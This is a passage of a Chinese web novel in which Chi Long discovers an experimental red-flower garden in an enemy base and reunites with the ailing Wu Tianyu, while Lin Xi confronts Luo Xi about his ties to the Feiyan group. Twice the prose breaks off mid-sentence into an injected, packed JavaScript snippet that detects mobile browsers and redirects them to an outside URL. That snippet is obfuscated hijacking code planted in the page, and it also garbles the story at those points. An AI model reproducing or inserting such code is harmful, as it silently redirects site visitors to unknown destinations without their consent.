洗漱完毕时,早餐已经摆在桌面上:吐司烘得金黄,糖心软嫩的煎蛋,牛奶被贴心地冰凉。 可奇怪的是,味道并不像它看上去的那样绝佳。 出门时,池泷站在门口多看了几眼,发现并未出现某人后,才头也不回地离开。 凭借脑海中那副立体地图的记忆,池泷往一处奇怪的地方走去。 一路上她大摇大摆,没有机器人的阻拦,她也丝毫不在意自己“到处溜达找秘密”的心思展露出来。 这倒是惹来了巡逻队成员的注视。 据池泷观察,不知道为什么,他们看自己的眼神像在看一条臭虫。 她抬起胳膊闻了闻,明明到处都是洗漱过的清香。 和基地大多方正的房间不同,这个房间的布局是圆形的,而且面积极大。 不多时,走到门口,池泷突然反应过来。 在没有破解密码的情况下,似乎自己是无法进入这些地方的。 她好像明白昨天那人为什么懒得答复自己了,敢情…… 刚想到这,手腕上的镯子亮了一下,紧接着眼前的大门被打开。 “镯子?”池泷满脸问号。 但她看看附近的监控,又不确定是镯子的原因,还是躲在监控后的人操纵的。 步入房间后,是一个小小的过渡室。 除却左边的门,空无一物。 是池泷曾经见过的、被各式门锁保护着的门。 她数了数,这里的门锁装置,比她和林息去过的那个房间还要多几道。 观察着诸多不同的门锁,忽然一道红光落到了自己身上。 还没来得及反应这是什么,池泷就听到头顶传来机械上膛和能量凝聚的声音。 “不好。” 心下一惊,四周空旷无处可躲,池泷福至心灵,赶紧抬手晃了晃镯子。 镯子再次亮了一下,门锁们开始自动解锁,同时头顶传来“警戒接触”的语音提示。 现在她明白这间过渡室内是做什么的了。 悻悻看着头顶,池泷意外这个房间竟然没有监控,而是直接准备用武器迎头痛击闯入者。 不过这反而说明—— “这么大的权限?”看着手上的镯子,池泷自言自语道。 如果说飞燕对自己是先礼后兵,这个礼未免也太大了吧。 怀着忐忑的心情,走进这个被好生保护的地方。 呈现在池泷眼前的,是一座巨大的花圃。 这个圆形房间比想象中要深,它的地面在池泷的脚底,需要通过楼梯下去。 房间底部种了满满的红花,那种在亚硫城内外开满的红花。 巨大的花香扑面而来,池泷只觉得腺体一阵刺痛,头晕目眩。 慌忙拿起门口早已整齐放好的过滤面罩戴上,稳了稳心神,池泷晃晃脑袋,才开始沿着金属网铺就的人行通道下楼,往花圃内部走去。 腺体不断鼓胀,本就不讨喜的花香虽然被过滤,但持效时间还挺久。 偌大的房间只有鞋底和金属摩擦的声音,头顶上是半零不落的金属架构,好像正在搭建一个二层。 似乎不到时间,墙面上,可能是负责养花的喷洒器、机械臂或者机器人,都没有行动。 但这里除了花,就是花。 连监控都没有,好像这个房间与基地彻底隔绝。 “种这么多花,要拿来做什么?”这样的场景让池泷心中不安。 她还是觉得,任何东西和飞燕扯上关系,一般都不会太好。 忽然,池泷注意到脚旁的土地,里面插着一个小牌儿,她蹲下身,看见上面写着“实验5206”。 抬头往前看去,不远处有一个相同的牌子。 基本隔着同样距离的地方,都会有这样一个牌子,前后皆是。 “实验4604”、“实验5012”、实验“8401”、“实验8511”……最后的最后,是“实验8608”。 走到最后的牌子这里,房间已然到头。 将牌子一一看过,池泷最终发现: 通道将房间分成了大小不同的好几份。 可能是在做什么实验,牌子上,4打头的花圃,花朵格外蔫小,但随着数字的增大,花朵的状态愈发不错。 而8打头的花圃,花朵的生长状况相对来说,是最好的。 花朵又红又大,格外吸引人。 这个奇特的数字排列有什么意义吗?池泷垂头深思。 如果是普通编码,大小排列却好像没有规律。 没有引进字母或者符号分辨,而且后面的两位数字总是是01到12,前面的那两位数字…… 她摸摸下巴,莫非代表年月? 如果是年月,最后的这个牌子还正好跟现在的时间对得起来。 望向头顶的二层,池泷估计,在建的这个,说不定是本月往后的实验田。 再次看了看已存的花圃,池泷注意到,从8605开始,红花不论是从长势、品相还是味道上,都有了明显的改进。 伸手拈下一朵,与旁边花圃的花对比了一下,果然不是池泷的错觉,最近花圃中的花朵,连花蕊都壮了些,她仔细触摸了一番,发现连花粉都更多、更轻盈。 于是池泷蹲下,将面罩轻轻打开一条小缝,准备闻闻看味道是否有新的变化。 就在这时,她忽然听到背后传来一串沉重的撞击声,紧接着一道黑色的影子,举着双手,像一头大熊一样扑了过来! 池泷想闪身,却被身边的栏杆挡住了去路,反应不及,眼睁睁看着这头熊压在了自己背上。 熊掌落下,企图捂死自己,幸好被面罩挡住了。 说真的,两天之内,正反都被人压了一遍,池泷心里真是异常烦躁。 而此时腺体鼓胀的频率是心跳的两倍,更是加重了她的怒气。 无论是谁,先打一顿再说! 然而当她想要反击时,身上的人却发声了,声带像绷紧的皮筋,发出的声音也又细又尖,十分难听:“别、摘。” 停下动作,池泷耳朵动了动,双手缓缓向两边抬起,摆出投降的姿势。 果然,背上的人离开了。 站起身,透过面具,池泷看见了这样一个人: 白发苍苍、形如枯槁,布满血丝的眼球没有焦点。嘴唇干裂,露出几乎看不出粉色的□□。 刚才捂住自己的手臂却肌肉隆起、筋脉凸显、血管发紫。 如果不是听见声音,仅凭外表,这人简直和一具巨型丧尸没什么区别。 然而就是这个人,却让池泷瞳孔一缩! 这人是…… “吴天语,”薄如蝉翼的刀锋抵在脖子旁边,林息面沉如水,看着仍旧悠哉的人说,“他还活着?” “主人还没应声,就闯进来,也太没有礼貌了。”洛熙并未生气,哪怕此刻脸被摁到变形,他语调依旧温柔。 敲门是林息的家教,可抓人不需要家教。 所以没等房间主人应声,他便直接闯了进来。 以迅雷不及掩耳之势,将洛熙摁在墙上,匕首直直抵住的地方,可以一击毙命。 并未理会,林息加重了手劲,不带一丝感情地平铺直叙:“池泷腺体突然受伤,信息素消失。除了你,她接触过的人里,没有人能将药效控制得这么精妙。” “你引诱我们去飞燕,而且早知道我们去过一次飞燕,所以你来了,”脑海中名为理智的那根弦已然绷到最紧,才压着林息没有一刀剌下去,“你和飞燕有往来!但你怎么可能知道我们后面的计划?除非——” “除非你们回程路上遇到的袭击,是我通知飞燕去做的。” “利用这个空隙,飞燕买通宾馆,将难以发现的窃听设备布置在房间里,其中就有你俩的那间。并在你们的朋友订新房间时,将已经装好设备的房间订给他。” 尽管说话十分费劲,可洛熙依然有条不紊地叙述,那语气中的肯定,无异于光明正大地承认。 飞燕做的窃听器,以他们小队的装备,能察觉到才怪。 “而你不可能无缘无故不过原来的日子、破坏隐居、去和飞燕往来,只能是因为吴天语还活着,而且在飞燕的基地里。” 说到这,林息咬牙切齿,他努力控制着自己,刀刃下也难免多出一条红痕:“你要拿池泷,换吴天语!” “你这可冤枉我了!”对架在脖子上的刀没什么反应,但听到林息的这句话后,洛熙却挣扎了起来。 “如果我准备用她去换人,那你这时还能抓到我吗?我早就跑得无影无踪了。” 这也是为什么林息没有痛下杀手。 一来如果洛熙真的想交换人质,大可以在他们进入基地后,寻求飞燕的庇护。 二来则是,他相信,那人教过的学生,不会是什么卑鄙败类。 “但我和飞燕确实约定了交换人质的交易,只不过那人是我,时间也由我定。” 感受到匕首离开了脖子一些,洛熙才继续不慌不忙说道。 “我凭什么相信你。”虽然基本能肯定洛熙说的是真话,可林息仍旧不愿轻易放手。 “我大可以告诉亚硫城政府或者是离这里最近的探索队,让他们出手,这件事很快就能解决。”他不含一丝感情地威胁。 “你敢这么说,就说明基地地图你们都做好了,”洛熙脸上竟然浮现了笑意,“你有把握能救出人来,却不敢轻易尝试。看来捉住池泷的那个人,应该十分心狠手辣,这让你退缩了。” “但是作为诚意,我告诉你一个秘密。”察觉到林息的松动,洛熙动了动自己的身体,果然林息的控制轻了很多,“这满城的红花都是‘定时炸弹’。” “什么意思?”林息不解,放开手,让他回身面向自己。 揉揉被压制得剧痛的身体,洛熙不忍责怪,只是无奈地看了林息一眼。 叹了口气,说道:“这种红花是飞燕长期研究的对象,它的花粉在剧烈抖动下会呈现极高的传播性,香味宜人,呼吸之间,甚至还想让人多吸两口。” 说到这儿,洛熙的目光深沉,看不出喜怒,他接着说:“吸入后的花粉,会直接作用于腺体,一旦过量,就会导致腺体过度兴奋或衰退,总之最终的结果就是,死亡。” “这就是为什么近几年城中的人,都出现了不同程度的器官衰退?”立马和收集到的信息联系起来,林息厌恶地皱眉,同时也提出了疑问,“可是城里人说,有个项目可以帮助他们暂停这种衰退。” 摇摇头,洛熙对此并不清楚,他只是平静地说道:“但愿如此。” “你为什么会和飞燕有联系?”林息收起匕首,他内心深处,还是希望洛熙和飞燕的关系是有苦衷的。 “因为啊……”洛熙勾起一个苦笑,神色复杂。 他的眼神飘到了很远很远的过去,接下来的一句话,却顿时让林息难掩不可置信。 “这花跟你有关?”震惊过后,看着什么蓬头垢面、穿戴精简的吴天语,池泷率先想到了这个。 确保池泷不再想摘下面罩后,吴天语才收回手掌。 他缓缓起身,浑身不正常的肌肉虬结,过度佝偻着的巨大身躯,将身上那套米白色的病号服撑得满满当当。 显而易见,他病得很严重。 看到吴天语点点头,池泷不知该做出什么表情,令人震惊的事情接二连三砸过来,实在是让人应接不暇。 “你养着这些花?”不知道怎么组织语句,池泷说话有些混乱,“啊不,应该先问,你竟然还活着?” 于是吴天语再次点点头,他指了指自己的脖颈后头,又指了指花,然后用手指沿着血管描了描,又指了指花。 “明白,”这比那些符号好懂,池泷很快将事情串联,“飞燕利用你的腺体,研究出了这样的红花,现在又拿你的血滋养着它们做实验,难怪最近实验的花这么好看。” “不对,这些花的实验开始时间可是40年前了,那你的腺体是……被人剜走了?但你却没死……” 过去的事情被串联了起来,她艰难地看向吴天语:“不会是因为,当年,是你自己把腺体出卖给飞燕的吧?” 忽地,她又想起了什么,语气沉重:“飞燕给你做了假腺体?” 听到这话的吴天语看着池泷,顿了几秒,点头。 “所以你说要赎罪,是因为发现这些花有你的……”能接的词汇可太多了,而吴天语本来就不善言辞。 池泷考虑要不要开始枚举,结果看到他又指了指自己的脖子,画了个圈。 “信息素?” 看到吴天语又点点头,池泷知道自己猜对了。 “然后你被抓了?”吴天语摇头,池泷继续猜,“挟持?威胁?利诱?” 一连好几个词汇都被否定,最后池泷才不确定地说出最后的猜测,“自愿?” “你为什么不直接去举报呢?”无法理解吴天语的脑回路。 池泷不明白,这种情况直接上报亚硫城不就好了,为什么还要送上门帮飞燕改进花朵品种。 可惜吴天语并不太会说话,从他波澜不惊的表情里,池泷也看不出什么。 “这花有问题,伤人?”想起刚才的情景,池泷晃晃头。 只觉得后颈的腺体好像要跳出来了,让她十分不适。 “死。”吴天语在空气中打了一个叉。 这个池泷知道,这个叉应该是黑色的。 “那外面那么多……我明白了,量变才能产生质变,难怪城内生病的人那么多。” 很容易就推理到这件事,池泷心中的愤怒如同火山喷发,却不知道该怎么表达。 “这么危险的东西,到现在都没人发现,真是……荒唐!” “血。”他指了指血管,又指了指花朵,然后在空中又画了一个叉号。 “啊?”池泷确认了一下,“你的意思是,你的血会让这些花死亡?” 再次点点头,吴天语的表情仍旧平淡,再次指指血管,两只手臂在空中画了个大圆。 像被扎漏气的气球一样,池泷一下子息了怒火。 看着开得妖娆的红花,她大约也明白了。 吴天语采取的策略,估计也是“量变产生质变”,品种的改进足以打消飞燕的疑虑,但长久的输血,最终会让它们灭亡。 “洛熙?”尖利的声音传来,不知道为什么,池泷瞬间理解了他的意思。 皱着眉头,池泷摇了摇头说道:“我是接了阿瑞亚的委托。” 听到这个名字,不知道是不是错觉,池泷看到吴天语的表情似乎柔和了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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并不确定能不能相信他,可池泷随后又想到,试试又怎么样呢? 反正她现在也没法和林息制定什么作战计划。 “我能问下为什么吗?”被吴天语刚才出乎意料的反应惊到,池泷小抱希望地问道。 然而吴天语仿佛又陷入了自己的世界,没给予任何反应。 “什么时候集合?”池泷继续问道。 然后吴天语仍旧不语,只是看了她一眼,那表情仿佛在说“问我做什么?” “他就像一个只负责发布任务的NPC。”池泷无奈地想。 “委托费至少能拿着了。”她又在心中乐观地安慰自己。 “到时候我得想个办法带你……”池泷尝试跟吴天语商量,不料被他突然打断。 “你、去。”他指指地图,食指比了个1,“我,去。” 然后他的嘴唇抽动了一下,好像是在笑:“洛熙、说。” 池泷完全明白了,大约就是“洛熙说让我们分开,各走各地在那里集合,然后就有人来救我们。” 精明如洛熙,让人惧怕。 分开也挺好,池泷就不用头疼,两人走在一起怎么才能不扎眼的事了。 她又打量了吴天语几眼,以洛熙的医术,估计吴天语只要能活着离开,调理身体也就是时间问题。 “你那天是真的去找洛熙了。”反正时间还早,想探索的地方也不多,池泷干脆坐在原地推理。 吴天语对于和洛熙有关的事总有反应,正好可以借此确定一些事。 “你把怀表给了洛熙。”吴天语摇头——那就是洛熙自己拿的。 “你跟他说了赎罪的事。”吴天语点头。 “他一开始肯定不答应啊,反正最后答应了,还帮你做了计划。”吴天语点头。 “洛熙突然从郊区过来,是为了救你?”吴天语顿了顿,点点头。 “但计划不是万无一失的,你怕牵连到阿瑞亚他们或者有去无回,于是弄了那个视频声明,密码只有亲近的人,比如洛熙,可能知道。”吴天语顿了顿,脑袋晃了晃。 “谁帮你弄的那些高科技?洛熙认识吗?”吴天语没反应——是哪里说的不对吗? “为了偷偷实施红花毁灭计划,你用偷酒当幌子。但为了让这种阴谋在覆灭后公之于众,同时借由舆论扩大戴罪立功的效果,防止死刑,就让它成为重大案件、引起星警察注意,这是也是你和洛熙想的吗?” 吴天语仍旧没反应。 “那些伪造的签到簿和监控视频什么的,不会是洛熙认识的、那些三教九流的人做的吧?” 吴天语还是没反应。 池泷起身,好奇地去查看吴天宇的状态,却发现他竟然闭上了眼睛,靠近了还能听见轻轻的鼾声! 万语千言,汇于心中,就是:无语。 行吧,谁让他是病人,病人是需要好好休息的。 轻手轻脚地离开,池泷临走时又看了一眼花圃,里面的红花静静、美美地生长着,丝毫看不出凋零的痕迹。 这些实验田里的花如果凋零了,外面的花也会被消灭吗? “灭了原种,城内的花朵凋零只是时间问题,但这件事只能由天语去做。” 洛熙坐在沙发上,对着镜子处理脖子上的伤口:“解铃还须系铃人,飞燕的研究,肯定到了瓶颈。他们一定想抓天语去进一步研究,可是你知道的。” 洛熙脸上露出不容置疑的自信:“有我在,我就能让他安稳地活着,哪怕是在飞燕的眼皮底下。” “但天语过不去心里的坎,所以来找我道别,我不愿意,拿走了他的怀表,想让他留下。”毕竟年纪大了,洛熙的眼睛微微眯起,拿着创口贴的手也不是那么稳当。 “可同时,我又不想让他心里总有这样的负担,又放他去了,还给了他喂了药,只要他的血液覆盖原种到一定程度,那原种必定会消亡。” “说了这么多,你都没有说,”林息看着他不甚熟练的样子,忍不住皱眉,“当年为什么吴天语愿意会把腺体给飞燕,是被骗了吗?” “这么快就猜到当年的事了啊。”好不容易把创口贴贴上,洛熙对着镜子看了看,却发现歪得很。 他两眼一闭,干脆不再看,放下镜子,看向林息的眼神蕴藏着很多:“说被骗也对,飞燕的人,在我们的孩子出生之前,就发现了天语腺体的特殊之处。” “如同常识,他的信息素也会给别的alpha带来刺激。但意外的是,刺激较小,同时又能在达到一定剂量时,无形中破坏alpha的腺体,于是飞燕企图招揽。” “一开始只说有偿抽取信息素做研究,后来利诱不成,就想威逼,却找不到机会,”陷入回忆的洛熙面色平静,“一直到发生那件事……当我发现他做了腺体手术时就太晚了。” “腺体活体保存本来应该是一件很困难的事,可飞燕不知道怎么做到了,而且还开发出了新的作用。” “两年前红花入侵时,我们都没发现有问题。但可能是因为跟腺体存在先天的联系,最近,天语率先察觉了。”洛熙再次苦笑。 耸拉的眉尾、歪曲的唇线,让那种苦,从面上溢了出来。 于是,赎罪、潜伏便开始了。 “计划是约好他混入敌营参与研究,利用我给他的药物逐渐掐断原种的生机,同时我告诉他,原种所在房间附近,链接机械手臂的通道墙壁一定是飞燕的弱点,为了方便检修和更换,那里一般做得比别的地方都薄。” “而且每日下午1点,是红花每日育苗的时段。在此期间,可以爆破那个地方,救人出来。” “没想到计划有变,你们掺和进来了,明明一般人是不会接这个委托的。”洛熙看向林息,意思不言而喻,“更没想到,飞燕也知道了你们和阿瑞亚那边的关系,企图挟持人质,加码逼我就范。” “我给池泷下的药,会在1天后失效。” “你们手中握着全部的地图,兵荒马乱的情况下,想要闯出来也简单。因此约飞燕交换人质,我给你发信号,你直接爆破这个地方去救人就行。”洛熙和善地笑笑,“里应外合嘛。” 然而林息却并没有露出喜色,只点点头。 以洛熙的聪明才智,估计自行脱身没有什么难度,哪怕还要再带上一个吴天语。 犹豫了几秒,他问道:“你为什么这么清楚红花的弱点和研究进程,为什么知道基地的布局,为什么吴天语一直逃避星联检测留档、信息素的事情却会被飞燕知道?” “你真的好聪明,”听到这话,洛熙笑出声,他看着林息的眼神满是欣慰,“如果天语有你一半聪明就好了。” “如你所想,我曾经是飞燕的一员,飞燕这么多年也一直再找我。” “说来也巧,红花虽然没传到郊区,可我见到天语拿来的花朵时,就猜到了它的来历。也知道了飞燕一直找我的原因。”洛熙看向窗外,成片的红花随风摇曳着。 “毕竟有关它诞生的研究,我都全权参与过,而且这么多年,飞燕在这方面,也没有什么长进。花朵会随着天语的到来变好,可只是变好一点,不足以满足他们的野心。” 洛熙大大方方地承认了,脸上露出不屑的笑容。 “所以,他们需要我回去。” 随即他又正色道:“但天语是无辜的,他只是被我和飞燕骗了,以前我告诉他飞燕是一个优秀的科研组织,导致他一直以为,那场手术的结果,是他用自己交换了更多人的生机。” “却没想到现在,这件事正在夺取更多人的生命。” “为什么?为什么要加入飞燕?”林息平静地问道。 “苦衷?”他还是下意识为洛熙找了一个理由。 “苦衷算不上,更多的是因为贪心吧。”洛熙看了看林息的脸,叹了口气。 “这就是一个很长的故事了,有机会再说吧。” “接下来你要做什么?”林息问道,想起洛熙说的交换人质的交易。 “等待,”洛熙看向林息,眼神悠远,“再等一天就好。” 46.第44章 “等到什么时候?”池泷摸着下巴,思考飞燕撤离的时间。 避免夜长梦多,不是应该现在就离开吗? 但这并不是此刻池泷最担心的问题。 她更在乎的,是仍觉得这件事不太对劲。 现今为止,她能猜到的太多了。 自己的奇怪症状、洛熙和飞燕的关系。 还有吴天语全部的计划。 如果按照他所说的计划,这件事将会有一个非常完美的落幕。 红花消失、飞燕暴露。 林息此刻怕是已经找到洛熙了,他俩的脑袋,想出的营救计划基本接近“天衣无缝”。 自己安心得很。 可是哪里不对呢? 叫来机器人,池泷要了一杯凉茶清火,望着咖啡色的清透液体,一时间她有些想不透心中的别扭来源。 而后又是新一轮的担心,老白的胳膊、尹霄的状况,还有林息。 林息没有他看起来的那样冷静稳定,走的时候,甚至连手上的伤口都并未在意。 莫名地,她相信林息一定能够处理好一切。 但相信并不能抵消全部的担心。 机械时钟的时分针指向了1:00,这一场谈话,耗费时间还挺多。 喝了一口凉茶,池泷眉眼紧凑到一起,打了个哆嗦。 好歹,阿瑞亚他们应该能安心了。 想起巡逻队和他们那位领导人的眼神,池泷着实不想去打听他们的撤离时间。 更何况,外面的两位聪明人绝对可以在撤离前将他俩救出,自己不必自讨苦吃。 只是不知道何时救援的信号会到来。 池泷决定,好吃好喝,顺带在这个基地到处转转,找吴天语谈谈心。 吃过午饭后,池泷开始向基地各处出发了。 门户大开。 这是池泷对这个基地的新印象。 敢信这个地方对俘虏格外优待,除了主控室,随意一扇门都能打开? 于是池泷看见了摆放着各色试管和小生物的许多房间、机甲从组装到成型的各类车间。 在经过那间库房的时候,池泷也好奇地探头去看了一眼。 那扇门前的东西没变,叹了口气,池泷十分难过自己没有学会打开这种特殊材料的技能。 资料室应该在主控,找遍了整个基地、没看见一点纸质文件的池泷推理道。 虽然俘虏受到了优待,但仅限于客观条件。 进不去主控的池泷站在门口,看见经过的巡逻队,想了想,还是出声问道:“你们领头的人叫什么?紫色头发的那个。” “你不配知道。”打头的应该是小队队长,透过包裹着整个头部的战术面具,池泷也能看到那种愤恨、恶心、不屑的目光。 正常情况下,你们不是应该说“你打听什么”吗? 被嫌弃的池泷揉揉鼻子,表示不理解,连实验室的科研人员,看自己的眼神也是厌恶的。 我到底干啥了啊? 池泷迷惑,池泷委屈。 但池泷发现,这个基地,意料之外的,没有她想象的那么——阴暗?恐怖?暴力? 反而有秩序、有组织,同事之间甚至会笑嘻嘻地打招呼,端着咖啡聊一些家常,相互之间带一些手作。 多么和谐的一幕! 沉墨的眼眸将这一切尽收眼底,毫无波动。 花圃仍旧是那样。 “那吴天语在哪里?”捉住一个巡逻队员,那人嫌恶地抽开胳膊,起落之间,好像下一秒就要拿枪抵着池泷的脑袋,却又悻悻放下。 “贵宾室,”说起吴天语,那人的眼中难得地透露出温和,声音里满是尊重,“吴大哥住在离花圃最远的房间里,他大多数时间都需要休息,你闲着没事,不要去打扰他。” “我劝你不要不懂事”的意思已经从你的眼睛里完全就能看出来了哦,池泷挤了个笑容,点点头。 然而,你的吴大哥只是你单方面的吴大哥,和我,却是双向奔赴的落难者。 轻轻敲了敲门,池泷等了一会儿,没见吴天语。 将耳朵趴在门上,房间中一片安静,好像没人。 当然,不排除是因为贵宾室的隔音措施很好,而自己又能力退化导致没听见的缘故。 再次敲门,池泷稍微加大了些力度。 等了一会儿,仍没等到吴天语的回复,连机器人都没出现。 池泷想了想,还是离开了。 那样的身体,负荷很重吧。 等出去再说,倒也不晚。 回到房间,机械时钟时分针夹住的面积,大约有1/3还多。 17点。 躺在床上,池泷无所事事,光脑昨晚就耗尽了电源,真的变成了好看的板砖。 原来过于闲散的生活也会这么难熬,明明自己以前,可期待了来着。 望着头顶花纹繁复的床帐,池泷渐渐闭上眼睛。 陷入黑暗之前,她脑中的最后一个想法是“老白和尹霄怎么样了?林息在干什么呢?” “你要在这里呆多久?”洛熙转过头,林息正坐在沙发上,对着光脑手指飞舞。 瞥了眼门口摆放凌乱的鞋子,林息冷冷回复:“怎么?耽误你做事了?” “那倒没有,”吊儿郎当地用脚尖提溜着脱鞋,洛熙手中端着咖啡,问道,“那两个孩子怎么样了?” 换来的是,林息冷漠的凝视。 明明嘴角习惯性地带着轻微的弧度,可碧蓝眼眸里装的是大海冰封。 “哎,我都说了,不知道你们这群小孩儿会这么大胆,独闯虎穴。”将咖啡放到桌子上,洛熙举起双手表示无辜。 接着他指了指林息手中的光脑,继续说:“从刚才就坐在我这儿没动过,不就怕光脑被监控吗,放心,你猜对了,我这里确实没有任何泄密设备。” “没什么事。”撂下这样一句,林息继续在光脑上回话。 他没骗人,那边传来的消息就是白簇的伤口已经处理,手臂连接良好,不会影响功能,静养一周即可。 而尹霄的伤相比之下,还算小事,折断的肋骨和腕骨已经修复,养个两三天就能好。 困难在于,要在央星瞒下这两人的家族,偷偷行事。 因此,需要安排的事情,就变多了。 看着光脑上那个极为熟悉的名字,林息想了很久,终究选择了不打扰。 “不用投屏,还怕我看见,切,”嘟嘟囔囔,洛熙又端起那杯咖啡,“小心眼睛变坏。” “你不准备什么吗?”随意地已读乱回,林息的眼睛仍旧停留在光脑之上。 “山人自有妙计。”没在乎林息的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122337|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,洛熙笑意盈盈地回复。 林息也没再追问,只又瞥了那杯飘上了一些油脂的咖啡,不知在想些什么。 等到事情暂时告一段落,再次抬头时,洛熙已经在长桌上摆好了晚饭。 酒店送来的餐食看起来精致而美味,看起来迫不及待的洛熙为了不打扰他,特地在门口接餐,一件件端进来。 门口的那双鞋子,被摆得整整齐齐。 “自从见面,还没和你吃过一顿像样的饭,”搓搓手,看起来总是胸有成竹的omega伸手相邀,“我不是什么高雅的人,不通晓什么礼仪,坐吧,快吃,飞燕出钱。” 然而林息并没有什么心情吃饭,可对方亮晶晶的眼神有些难以拒绝。 就当看在那人的面子上,林息心想。 他随意地坐在对面,满桌佳肴,却总觉得几天前木屋的那顿粗茶淡饭更好吃一点。 “你和她怎么认识的?”没有明说,可林息却明白她指代的是谁。 抬眼看向对方,粉黄眼眸里透露的倒不是八卦,反而像长辈看向小辈的眼神。 于是,林息避开了洛熙的目光,将脸转向一边。 “哈哈,看来相识的经过有些复杂啊。”不带恶意的调侃,让林息忍不住戳了戳盘中的饭菜。 没忍住,他必须反击这个能够“读心”的人,才能发泄心中不愿提及的部分被一提再提的不满。 “那你又和他怎么认识的?”仍旧没有明说,可洛熙却知晓林息口中的人。 手帕轻沾唇边,洛熙面对反唇相讥的态度,却格外正经:“始于利用,流于谎言。” “终究,不幸福。”端起红酒杯,洛熙朝林息敬了一下。 “你想说什么?”良好的教养控制住林息,并未让他将手中的餐具拍在桌上,以示警告。 “我想说的,你不是早知道了吗?”双手交叉撑住下巴,洛熙笑嘻嘻地说道,“尚教授说,年轻人大多不喜欢臭长的说教,好在你是个聪明的年轻人。” “感情就像流水,”左手仍旧撑在下巴底下,洛熙伸出右手,手指飞舞,做了模拟波浪的动作,“只能被真实存在的东西装下,被严不透风的实体挡住。” “不要伤害那个孩子,更不要伤害自己。”说完这些话,洛熙又拿起酒杯,一饮而尽。 “经验之谈?”得体的笑容挂回脸上,林息看起来优雅又高冷。 言语却如细针,想要扎进对面人的心里。 “算是。” 针扎进了棉花里,那种慈爱的眼神让林息放下餐具,双手环胸。 “那你还真是个好人。”听起来真心诚意的夸赞,只是琥珀深处的想法被碧蓝遮住了。 “多谢夸赞。”这次洛熙仍旧笑嘻嘻地拿起酒瓶,给自己倒了满满一大杯红酒。 洛熙闭上眼,酒杯在他手中不断摇晃:“人终将要为自己说过的谎言付出代价。” 他偏过头,好似在品味红酒的香气。 然而脑海中,却浮现出吴天语满脸苍白、浑身是血的样子,那个脖颈后面跳动的、机械的迷你泵,替代了温暖的、柔软的存在。 这样的情景,让林息咽下了将要脱口而出的回击。 算了吧,等尘埃拖定,再说也不晚。 看着桌上过半的红酒,想了又想,他终究只端起杯子,轻抿一口,浅尝辄止。 47.第45章 第二日醒来,池泷率先去寻找吴天语。 贵宾室仍旧如同昨日般寂静,好在花圃中却出现了那个巨型的身影。 他蹲在那里,像一具蜷缩着的科学怪人,红花将他围满,鲜鲜艳艳,不似人间。 “吃过饭了吗?”经典的开场。 提前戴好面具,池泷走过去拍了拍他的肩膀。 粗壮臂膀上,有一块小小的白色止血胶布,在绷起的病号服边缘,好像没有那么突出。 池泷不自觉拿开手,手指不知所措地摩挲。 吴天语并未回头,只是随意地点点头,他的手指拨拉着土壤,像蹲在路边无聊的小孩一样。 “嗯……我在想,反正我们一时半会儿还走不了,”池泷走到他身边,也蹲下,看着他不知意图的动作,说道,“不如谈谈心?” 吴天语没什么反应,只是重复着刚才的动作。 权当这人默认,池泷兴冲冲地准备谈心。 既然要谈心,那就先交代一下自己的情况:“我叫池泷,老家是月轨六线的荒星,那里很穷。” 戳着土壤的手指继续做着匀速运动。 “这次委托,我们小队都来了,其中两人受了重伤,唉——”想起这些,池泷只觉得心堵,“好歹还留着一个最聪明能干的。” 还是一如既往地戳土。 “阿瑞亚和李光拜托我来找你,并为你平反,”唱独角戏的池泷也有些无聊,她伸手准备摘片红花的叶子,“你不知道,我一开始只觉得,能找到你的怀表就不错了。” 下一秒,一只浮肿的手将叶片打掉了。 “别、碰。”声音仍旧又尖又细。 哦耶,说话了! “那个怀表里到底有什么?洛熙根本不打算给我们。” 池泷好奇地观察吴天语的反应,但他面上仍旧没什么表情。 转头继续戳土,只不过手指的速度慢了一些。 “还有无数的红色波浪线,我没有从你俩那里看到一点记录。” 手指停止了戳的动作,转而开始将拨乱的土壤抹平。 “好吧,一开始我来的时候,是李青来接的,”池泷不屈不挠,手拄在脸上,摸到一脸胡子。 她继续唠嗑:“她和小溪都很想你,认为你是无辜的,哦对了,她知道洛熙的存在后,还想去看望洛熙来着……” 这时,一阵音乐声响起,池泷环顾四周,发现,好像是从吴天语口袋里传来的。 果然,他站起身,艰难地从腿边的口袋里掏出一个闪烁的小按钮。 上面被人用笔画了一个黑色的叉,歪歪扭扭。 摁了一下,音乐消失,吴天语往花圃外走。 “哎,我和你一起去!”池泷追身上前,想拉住吴天语的胳膊,却发现自己攥不住,只得扣了一点衣服。 手被轻轻拨下,吴天语摇摇头。 “别、看。” 他看向池泷,充血严重的眼睛里,透出几分纯真。 “熙,强,”粗肿的手指没办法比出好看的爱心,试了几次,吴天语放弃了,转而伸出一根食指,“活,好久。” 这一次,池泷没太明白。 “阿、青,”他用食指在空中画了一个长椭圆,“小溪,”长椭圆的右边,又画了一个矮很多的小椭圆。 手指在空中点了好几下,最终蹦出来一个字:“好。” 迷茫的池泷点头,想要把这些手势和话语串联。 “哥,”最后,他露出一个笑容,唇上的□□暴露得更大了,看起来十分怖人,“爱。” 这句,池泷听懂了。 吴天语转身继续离开,池泷还想追上,企图说服他。 却被再次拒绝。 于是池泷放弃了。 因为吴天语第二次,伸出手掌,轻轻摆了摆,他看向池泷的眼神,发生了变化:“池,别。” 他记住了她的姓,那样容易。 而且那个眼神,让她想起了一个人,一个寒冷天气等在车站的老人。 “早点回来。”心下虽有诸多不忍,可池泷也只能憋出这一句话。 望着远去的人,池泷突然感到,这个背影原来也宽阔挺直。 另一边,林息在洛熙房中醒来时,已经12:00AM了。 被整个时间惊了一下,而洛熙没在房内,林息皱眉,率先将随身物品检查了一遍。 衣物没换,匕首、压缩包和光脑也还在。 看向不远处桌子上的早餐,林息这才松开眉头。 出于谨慎,他还是准备继续检查装备。 光脑没有被打开过的记录。 